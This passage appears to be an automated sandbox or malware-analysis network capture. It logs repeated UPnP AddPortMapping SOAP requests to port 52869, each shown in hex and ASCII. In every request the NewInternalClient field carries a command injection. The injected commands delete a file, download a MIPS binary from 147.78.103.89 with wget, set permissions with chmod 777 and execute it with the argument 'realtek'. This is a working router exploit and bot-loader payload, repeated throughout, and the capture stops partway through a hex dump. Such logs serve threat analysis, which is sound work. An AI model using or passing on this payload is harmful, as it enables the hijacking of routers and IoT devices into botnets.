79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:43.321577072 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:45.721441031 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:50.329487085 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:59.545061111 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:19.512438059 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:56.375382900 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      92192.168.2.153979645.192.213.7652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:41.776333094 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 